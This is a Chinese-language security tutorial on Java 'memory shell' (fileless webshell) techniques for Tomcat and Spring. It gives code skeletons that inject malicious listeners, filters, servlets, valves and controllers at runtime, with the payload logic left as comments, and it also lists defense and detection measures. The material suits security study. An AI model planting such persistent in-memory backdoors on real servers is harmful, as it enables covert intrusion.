深入浅出内存马
字数 1864 2025-08-24 16:48:16
深入浅出内存马技术详解
一、Tomcat核心架构解析
1.1 Tomcat容器层级结构
Tomcat采用分层容器架构,从外到内依次为:
- Engine容器:顶级容器,代表整个Catalina引擎
- Host容器:虚拟主机容器,一个Engine可包含多个Host
- Context容器:应用容器,一个Host可包含多个Context
- Wrapper容器:Servlet包装容器,一个Context可包含多个Wrapper
关系特点:
- 上层容器与下层容器为父子关系
- Host没有父容器,Wrapper没有子容器
- 默认实现类:StandardEngine、StandardHost、StandardContext、StandardWrapper
1.2 Pipeline与Valve机制
Pipeline(流水线):
- 每个容器都有自己的Pipeline,代表任务处理管道
- 标准实现为StandardPipeline
Valve(阀):
- Pipeline上的具体处理单元
- 不同容器有各自的Valve实现(如StandardWrapperValve)
1.3 核心组件协作流程
-
StandardWrapper工作流程:
- 主要职责:加载Servlet类并分配实例
- StandardWrapperValve通过allocate()获取Servlet实例
- 调用Servlet的service()方法处理请求
-
调用链示例:
Container → Pipeline → Valve → Container → Pipeline → Valve
二、内存马技术实现详解
2.1 监听器型内存马
实现原理:
- 通过request反射获取StandardContext
- 创建自定义ServletRequestListener
- 将监听器添加到Context的applicationEventListenersList
关键代码:
Field f = request.getClass().getDeclaredField("request");
f.setAccessible(true);
Request req = (Request)f.get(request);
StandardContext context = (StandardContext)req.getContext();
ServletRequestListener listener = new ServletRequestListener() {
public void requestInitialized(ServletRequestEvent sre) {
// 恶意代码逻辑
}
public void requestDestroyed(ServletRequestEvent sre) {}
};
context.addApplicationEventListener(listener);
2.2 过滤器型内存马
实现步骤:
- 创建恶意Filter类
- 构造FilterDef并设置Filter信息
- 通过反射获取filterConfigs Map
- 创建ApplicationFilterConfig并加入Map
- 创建FilterMap并设置URL映射
- 将FilterMap添加到Context
关键代码:
// 1. 创建Filter
Filter filter = new Filter() {
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) {
// 恶意逻辑
}
// 其他必要方法实现...
};
// 2. 创建FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("maliciousFilter");
context.addFilterDef(filterDef);
// 3. 获取filterConfigs并添加配置
Field configsField = context.getClass().getDeclaredField("filterConfigs");
Map filterConfigs = (Map)configsField.get(context);
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(context, filterDef);
filterConfigs.put("maliciousFilter", filterConfig);
// 4. 创建并添加FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("maliciousFilter");
context.addFilterMap(filterMap);
2.3 Servlet型内存马
实现步骤:
- 创建恶意Servlet类
- 通过Context创建Wrapper
- 设置Wrapper属性(servlet、类名等)
- 将Wrapper添加为Context子容器
- 添加Servlet映射
关键代码:
Servlet servlet = new Servlet() {
public void service(ServletRequest req, ServletResponse res) {
// 恶意逻辑
}
// 其他必要方法实现...
};
Wrapper wrapper = context.createWrapper();
wrapper.setServlet(servlet);
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setName("maliciousServlet");
context.addChild(wrapper);
context.addServletMappingDecoded("/*", "maliciousServlet");
2.4 Valve型内存马
实现步骤:
- 创建自定义Valve实现
- 获取Context的Pipeline
- 将Valve添加到Pipeline
关键代码:
Valve valve = new Valve() {
public void invoke(Request request, Response response) {
// 恶意逻辑
}
// 其他必要方法实现...
};
context.getPipeline().addValve(valve);
三、高级利用技术
3.1 无文件落地注入
实现思路:
- 将恶意类转化为字节数组
- 利用TemplatesImpl机制加载字节码
- 通过反射机制获取request/context
关键点:
- 需要找到合适的request获取方式
- 通常从ApplicationFilterChain的lastServicedRequest获取
3.2 Spring内存马
实现原理:
- 获取WebApplicationContext
- 获取RequestMappingHandlerMapping
- 通过反射注册恶意Controller
关键代码:
WebApplicationContext context = (WebApplicationContext)RequestContextHolder
.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = Evil.class.getMethod("test");
PatternsRequestCondition url = new PatternsRequestCondition("/evil");
RequestMappingInfo info = new RequestMappingInfo(url, null, null, null, null, null, null);
mappingHandlerMapping.registerMapping(info, new Evil(), method);
四、防御与检测
4.1 防御措施
- 禁用不必要的反射功能
- 严格控制Filter/Servlet/Listener的注册
- 使用安全管理器限制敏感操作
- 定期检查运行时的组件注册情况
4.2 检测方法
- 对比运行时组件与配置文件差异
- 检查不认识的Filter/Valve/Listener
- 监控异常的类加载行为
- 使用内存马检测工具扫描
五、技术演进方向
- 跨中间件利用:从Tomcat扩展到Spring Boot、Nacos等框架
- 隐蔽性增强:利用合法组件隐藏恶意行为
- 持久化技术:结合其他持久化手段实现复活
- 对抗检测:采用反检测技术绕过安全工具
六、学习建议
-
基础准备:
- 深入理解Tomcat架构设计
- 掌握Java反射机制
- 熟悉Servlet规范
-
实践方法:
- 搭建调试环境(Tomcat 9.0.x + JDK 8)
- 从简单类型开始逐步实现
- 结合调试理解调用流程
-
进阶路径:
- 研究不同版本Tomcat的实现差异
- 探索其他中间件的内存马技术
- 分析真实案例的攻击手法
通过系统学习内存马技术,不仅可以提升攻防能力,更能深入理解Java Web容器的运行机制,为安全研究和漏洞挖掘打下坚实基础。